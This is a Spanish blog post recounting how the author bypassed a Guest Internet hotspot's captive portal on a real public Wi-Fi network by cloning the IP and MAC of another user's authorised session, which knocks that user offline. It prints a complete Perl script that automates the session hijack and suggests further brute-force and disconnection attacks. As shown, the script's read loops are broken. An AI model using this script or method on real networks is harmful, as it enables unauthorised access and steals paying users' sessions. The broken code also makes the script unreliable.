lunes, 23 de junio de 2014

Saltando protección de un Guest Internet Hot Spot Gateway




1 Disclaimer

Lo que se publica aquí es para fomentar la curiosidad y la tecnología, el autor del documento no se hace responsable del mal uso que cualquiera le pueda dar.

2 El problema, escenario, desarrollo, nudo y desenlace :)

Caminando por la vida..., me tropecé con un hot spot, siiiiii... una red wireless abierta!.
Activé la red wireless y recibí un número de IP por medio del protocolo DHCP y acceso a consultas DNS. Bien, por un momento todo parecía feliz y encaminado pero...(suspenso) al abrir un sitio web con el navegador allí estaba el PORTAL CAUTIVO que pedía contraseñas, en este caso un TOKEN para navegar.
La página a la cual me envió el navegador tenía un dominio tal como http://aplogin.com/?url=www.midireccion.
Oh no!, era un hot spot gateway con muchas capacidades incluidas en su software: APIS remotas, control de usuarios y otras; la curiosidad fue más fuerte y allí comenzó todo lo que motivó este artículo.

2.1 El problema a resolver

  • Navegar por la red de redes sin necesidad de solicitar el token al administrador de la red wireless. O sea, saltar el portal cautivo.

2.2 Descubriendo el escenario

Los pasos realizados para descubrir el escenario.
  • Pruebas con nmap -> nmap -T Aggressive -A -v 192.168.1.1
  • Escucha de tráfico con Wireshark y para observar pedidos de DHCP de otros dispositivos.
  • Utilización de fping -g 192.168.1.0/24 para realizar una verificación de otros dispositivos conectados a la red.
  • Busqueda en internet utilizando sobre el dispositivo gateway. Clave de búsqueda http://aplogin.com/.

2.3 Supuestos utilizados para la búsqueda y resolución

Los caminos tomados para comenzar a realizar las pruebas fueron:
  • Búsqueda de posibles configuraciones débiles en la red (protocolos, contraseñas débiles, etc.)
  • Falta de un administrador dedicado en forma constante para resolver problemas de la red. A veces existen redes descuidadas a las cuales se les presta poca atención :(. O por las mismas características del servicio ciertas redes están sujetas al funcionamiento en ambientes con poco mantenimiento.

En base a lo anterior y con el conocimiento sobre el dispositivo se procedió a:
  • Atacar la aplicación del hot spot para generar tokens válidos para navegar.
  • Atacar la red aplicando técnicas como spoofing o man in the middle.

2.4 Solución... solución... y no problemas... dijo un profe

La solución más rápida y que funcionó fue la de spoofing. Clonar la IP y dirección MAC de una sesión previamente autorizada.
Es probable que el mismo gateway tenga mecanismos para evitar y detectar esta clase de ataques, pero pudo darse esta posibilidad dado que es una red pública y es visitada normalmente por muchísimas personas para utilizar sus servicios. Por lo cual está sujeta constantemente a varias clases de dispositivos.
Es un aprovechamiento de configuraciones no tan estrictas antes que una falla propia del dispositivo.
Al principio se hizo de forma manual, luego entendiendo el funcionamiento se codificó un script Perl para resolverlo de manera automatizada.
Aclaración: este ataque deja fuera, o compite directamente con la máquina real que adquirió el IP primeramente, dado que se usurpa la sesión activa.

El script Perl puede ser descargado en https://github.com/freelanceparaguay/buscaIP

2.5 Temas a investigar relacionados

Alguien que quiera seguir indagando puede utilizar los siguientes items:

Mejorar el script.
  • Validación e parámetros por ejemplo: direcciones de red, detección de redes en Linux/ Unix Windows y otros sistemas operativos.
  • Mejorar la portabilidad del script para otros sistemas operativos.
  • Trabajar el script para que pueda ejecutarse desde cuentas normales y no justamente desde cuentas con acceso root.
  • Crear un daemon para que cuando fenezca el token de navegación verifique otra IP autorizada para navegar.
  • Eliminar la dependencia de comandos propios de Linux/Unix y otras aplicaciones y construir módulos con funciones propias de Perl.
  • Generar un listado de direcciones Ip's autorizadas para navegar en un determinado instante.

Aplicación del hot spot.
  • Probar ataques de fuerza bruta al formulario del hot spot generando tokens para nevagación.
  • Probar ataques de desconexión utilizando las APIS del hot spot.
  • Probar ataques de desconexión utilizando parámetros POST.
  • Probar ataques de fuerza bruta para obtener el password del dispositivo.

Configuraciones del dispositivo
  • Mejorar las opciones de configuración realizando ajustes necesarios para evitar clonado de MACs.


3 Extras

3.1 Apéndice - Sistemas hot spot marca Guest Internet Solutions

Visitando la página del fabricante, se pueden observar muchas características que hacen de los productos ofrecidos muy buenos candidatos para ser elegidos al momento de administrar redes wireless.
También, las aplicaciones de administración se encuentran bien trabajadas y cubren una amplia gama de casos en lo que se utilizan accesos a Internet, tanto pagos como gratuitos.
Demuestran ser productos robustos al momento de mantenerse en funcionamiento.
Incluso se ofrece una demo online sobre el software de administración que puede ser visitada en http://www.guest-internet.com/demo/password.html.
Características interesantes para programadores:
  • Ofrece acceso a APIS a nivel programación facilitando el control del hot spot desde otras aplicaciones.

3.2 Apéndice – Código fuente del script

https://github.com/freelanceparaguay/buscaIP

.
#!/usr/bin/perl
############################################################
# Junio 2014
# http://otroblogdetecnologias.blogspot.com
# buscadorHotSpot.pl
#
# Ejecutar desde una cuenta con acceso a cambios de configuraciones
# de red, o desde una cuenta root.
#
# Script que encuentra numeros de IP's validos para un
# rango dado.
# Dependencia de los comandos Unix
# fping -> utilidad para realizar barridos de IPs http://fping.sourceforge.net/
# sort -> ordenamiento de archivos de texto
# ifconfig -> configuracion de red en Unix/Linux
#
############################################################
use LWP::UserAgent;
use HTTP::Request;

############################################################
# Obtiene un listado de los numeros de IPs asignados en la red
# Guarda en un archivo el resultado
############################################################
sub getIpRange{
my ($ipRangeF,$maskF,$listFileF)=@_;
my $tempFileF="temp.txt";
my $errFileF="error.txt";
print "SCANNING IP's ==>\n";
system("/usr/sbin/fping -a -g $ipRangeF/$maskF 1>$tempFileF 2>$errFileF");
system("/usr/bin/sort $tempFileF > $listFileF");
}
############################################################
# Obtiene numeros de IPs de un listado previamente generado
# y lo recorre hasta encontrar la IP autorizada para navegar
############################################################
sub getIpsFromList{
my($interfaceF, $maskF, $listFileF, $urlSeekF, $fileHTMLPage, $signingConnectedF,$signingUnConnectedF)=@_;
my $ipToTestF;
my $count=0;
open(FILE_LIST_IP,"<",$listFileF) or die;
while(){
$ipToTestF=$_;
if($count!=0){
print "Testeando IP ==> $ipToTestF \n";
########################################
configureNet($interfaceF,$ipToTestF,$maskF);
testPage($urlSeekF,$fileHTMLPage);
if(&parseConect($fileHTMLPage,$signingConnectedF,$signingUnConnectedF)){
print "====> IP AUTORIZADA-> $ipToTestF\n";
print "= Navegador listo y a utilizar internet!\n";
exit(0);
}
########################################
}
$count++;
}
close(FILE_LIST_IP);
}
############################################################
# Configura la red con un numero de ip especifico
############################################################
sub configureNet{
my($interfaceF,$ipF,$maskF)=@_;
system("/usr/sbin/ifconfig $interfaceF $ipF");
}

############################################################
# Realiza una conexion al sitio del HOT SPOT
############################################################
sub testPage{
my ($urlBuscar,$archivo)=@_;
############################################
my $ua=LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0");

my $req=HTTP::Request->new(GET=>$urlBuscar);
my $response= $ua->request($req);
my $content=$response->content();
############################################
# abrir archivo segun parametro
open(FH,">",$archivo);
############################################
print FH $content;
close(FH);
}
############################################################
# Verifica si el sitio visitado ha devuelto AUTORIZADO o
# NO AUTORIZADO
############################################################
sub parseConect{
my($fileParseF,$signingConnected,$signingUnConnected)=@_;
my $content;
my $flagToReturn=-1;
open(FH,"<",$fileParseF)or die;
############################################
while (){
chomp;
#del archivo temporal obtiene las lineas con arroba
if (/$signingUnConnected/) {
$content=$_;
#NO AUTORIZADO
$flagToReturn=0;
}
if (/$signingConnected/){
$content=$_;
#AUTORIZADO
$flagToReturn=1;
}
}
close(FH);
$flagToReturn;
}
############################################################
# Programa principal
############################################################
#################################################
#Parametros necesarios para configurar el script
my $ipRange="192.168.90.0";
my $ipMask="24";
my $listFileName="ipRange.txt";
my $interface="enp1s0f2";
my $urlToTest="http://aplogin.com/?url=http://www.google.com";
my $fileHTMLDownload="pagina.html";
# Firma que indica que se encuentra autorizado
#Unlimited
my $firmaConnected="Unlimited";
# Firma que indica que no se encuentra autorizado para navegar
my $firmaUnConnected="code";
#################################################
print "##################################################\n";
print "http://otroblogdetecnologias.blogspot.com\n";
print "by Juan Carlos Miranda - Junio 2014\n";
print "Bypass de HOT SPOT. Busqueda de IPs autorizadas en redes WIFI con HOT SPOTs\n";
print "##################################################\n";
getIpRange($ipRange,$ipMask,$listFileName);
getIpsFromList($interface,$ipMask,$listFileName,$urlToTest,$fileHTMLDownload,$firmaConnected,$firmaUnConnected);
############################################################
# Fin Programa principal
############################################################

4 Fuentes de información

Información sobre el producto

Guest Internet Solutions http://www.guest-internet.com/
Guest Internet Solutions - Products http://www.guest-internet.com/guest_internet_hotspot_products.html
Interfaz demo de Guest Internet Solutions. http://www.guest-internet.com/demo/password.html
Herramientas
Fping http://www.fping.org/
Nmap http://nmap.org/book/man.html
Wireshark http://www.wireshark.org/
Perl http://www.perl.org/
Perl IDE http://perlide.org/


2 comentarios:

  1. Me gustaría que explicaran de una forma mas simple ya que no conosco mucho del tema y la verdad lo necesito...
    o que hicieran un vídeo, se los agradecería mucho

    ResponderEliminar
  2. Gracias amigo por la sugerencia.

    ResponderEliminar